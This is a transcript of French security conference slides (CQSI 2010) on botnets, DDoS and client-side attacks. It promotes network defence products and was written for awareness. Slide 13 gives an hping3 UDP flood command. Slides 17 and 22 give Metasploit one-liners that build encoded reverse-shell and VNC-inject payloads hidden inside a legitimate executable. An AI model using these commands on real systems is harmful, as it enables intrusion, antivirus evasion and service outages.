maitriser l'art du kung fu cqsi2010
TRANSCRIPT
Maîtriser l’art du Kung-Fu
19 octobre 2010
Colloque québécois de la sécurité de l'information(CQSI)
Michel Cusin, Architechte Sécurité BellJocelyn Rainville, SE Radware
Slide 2
Agenda
• Maîtriser l’art du Kung-Fu ???
• Server-side Attacks “Attaques traditionnelles”
• Client-side Attacks “Nouvelle tendance”
• Démonstrations
• Conséquences
• Solutions
Slide 3
Kung-Fu
Slide 3
• Kung-Fu qui signifie art martial, vient de la nécessité de légitime défense.
• Les termes "Kung" et "Fu" traduits littéralement et séparément ont une signification différente:
• "Kung" désigne la "maîtrise", le "perfectionnement".
• "Fu" désigne les techniques en tant que contenu.
Comment se porte votre Kung-Fu en sécurité ?
• Kung-Fu en sécurité -> Maîtrise des techniques en sécurité.
Mais qu’est-ce que le Kung-Fu?
Slide 4
Samouraï vs Ninja
vs
Samouraï Ninja
Slide 5
Samouraï vs Ninja
Qu’ont-ils en communs?
Ils maîtrisent leur art…
• Ils maîtrisent leurs techniques.
• Ils maîtrisent leurs armes.
• Ils maîtrisent leurs spécialités.
• Ils défendent ce en quoi ils croient.
Slide 6
Professionnels de la sécurité vs Pirates
vs
(Samouraï) (Ninja)
Slide 7
Qu’avons-nous en communs?
• Maîtrise des techniques
• Utilisation des outils
• Connaissances
• Objectifs
Maîtrisons-nous notre art ?
Professionnels de la sécurité vs Pirates
Slide 8
Server-side Attacks
Server-side Attacks “Attaques traditionnelles”
Slide 9
Qu’est-ce qu’un Botnet
Bot
Bot
BotC&C
Bot
Pirate
Victime
Slide 10
Botnet à louer (IMDDOS)
• Botnet « commercial »
•10 000 nouvelles victime par jour
• Propagation (peer-to-peer)• Windows 7 crack• Autres noms attrayants
• Portail « libre-service »
• Support 7/24
• Made in China
Source: http://www.damballa.com/IMDDOS/
Slide 11
Les Botnets: Le Québec n’y échappe pas
Botnet: RTSS (Réseau de Télécommunication Sociaux Sanitaire)
• Le bot de la St-Valentin (14 Février 2007)• Le bot était transporté par un ver• Réseau paralysé• Au moins l’auteur s’est excusé…
Botnet: Opération Basique
• Février 2008• Plus de 100 pays sont touchés, sur tous les continents. • 17 arrestations (de 17 à 26 ans dont 3 mineurs)• Débût de l’enquête: Été 2006 Source: http://www.sq.gouv.qc.ca/salle-de-presse/communiques/demantelement-reseau-pirates-informatiques-2008.jsp
Slide 12
Qu’est-ce qu’un DDoS
DDoS: Distributed Denial of Service
(Déni de service distribué)
Slide 13
Démonstration DDoS
Simulation d’un DDoS(Avec une seule machine)
Hping3 –udp –flood –rand-source -p 80 [IP Serveur Web]
Defense Pro
Slide 14
L’envers de la médaille…
Slide 15
“Client-side attacks”
Client-side Attacks: La nouvelle tendance
Slide 16
Création d’un “Client-side attacks”
Metasploit Social Engineer Toolkit (SET)
Ultimate EXE Packer (UPX)
Slide 17
Metasploit
Le “framework” Metasploit est un outil pour le développement et l'exécution d'exploits contre une machine distante.
VNCINJECT:./msfpayload windows/vncinject/reverse_tcp LHOST=10.0.0.10 LPORT=443 R | ./msfencode -c 5 -e x86/shikata_ga_nai -x /home/Tcpview.exe -t exe > rev_vnc.exe
Meterpreter:./msfpayload windows/meterpreter/reverse_tcp LHOST=10.0.0.10 LPORT=443 R | ./msfencode -c 5 -e x86/shikata_ga_nai -x /home/Tcpview.exe -t exe > rev_vnc.exe
Slide 18
VirusTotal
Plus de 40 antivirus différents…
Slide 19
Camouflage du “malware”
Le Ninja maîtrise l’art du camoufflage…
Slide 20
Attention!
Slide 21
Posez-vous la question
~300
Vulnérabilités découvertes et documentés au cours des 3 dernières années:
~90
~200
Sources: http://nvd.nist.gov/ et http://osvdb.org/
Est-ce que votre stratégie de mise à jour inclue ces produits? Vraiment…?
Slide 22
Scénario d’un “client-side attack”
Connexion en sortie:
Port TCP 80 (HTTP) ou 443 (HTTPS)
DefensePro
Serveur
Victime
Coupe-feuPirate
Environnement corporatif
VNCINJECT:./msfpayload windows/vncinject/reverse_tcp LHOST=10.0.0.10 LPORT=443 R | ./msfencode -c 5 -e x86/shikata_ga_nai -x /home/Tcpview.exe -t exe > rev_vnc.exe
IPS: Protection par signatures statiques
• Procure une protection contre:
– Vers, Bots, Trojans, Hameçonage, logiciels espions
– Web, courriel, SQL, VoIP (SIP), vulnérabilités DNS
– Proxy anonymiseur, attaques IPv6
– Vulnérabilités Microsoft– Anomalies de protocol
• Protection par signatures:
– Équipe de pointe de recherche en sécurité
– Protection contre l’exploitation des vulnérabilités connues
– Mise à jour hebdomadaire et d’urgence des signatures
Slide 23
Protection DDoS : Signatures en temps réel
• Protection par signature créées automatiquement en temps réel contre les attaques DDoS réseau:– SYN floods;
– TCP floods;
– UDP/ICMP floods.
• Proposition de valeur– Maintiens de la disponibilité des applications critiques, même durant les
attaques;
– Blocage des attaques sans bloquer le trafic des utilisateurs légitimes;– Protection automatique en temps réel contre les inondations réseau (floods)
sans nécessiter d'intervention humaine.
Slide 24
Network Behavioral Analysis: Real-time Signatures Protection
• L’Analyse Comportementale Réseau (NBA - Network behavioral analysis) détecte les transactions anormales au niveau des utilisateurs ainsi que des applications.
• Protection par signatures automatiques en temps réel contre:– Propagation de logiciel malveillant “Zéro-minute”
– Mauvaise utilisation des ressources d’applications comme:• Attaques de type “Brute force”• Balayages d’application Web• Inondations (floods) de page HTTP• Balayages SIP• Inondations (flood) SIP
• Proposition de valeur– Maintiens de la disponibilité des applications critiques, même durant les
attaques;
– Blocage des attaques sans bloquer le trafic des utilisateurs légitimes;– Protection automatique en temps réel contre les inondations réseau (floods)
sans nécessiter d'intervention humaine.
Slide 25
Slide 26
Une question d’équilibre
Conclusion
C’est une question d’équilibre
ConnaissancesTechnologies
Slide 27
Questions?
La présentation sera disponible sur le site du CQSI ainsi que sur http://cusin.ca
Questions?
Coupon pour le tirage d’une formation SANS gratuite en français:
Détection de pirates informatiques pour administrateurs de systèmes
Info sur http://www.sans.org et sur http://cusin.ca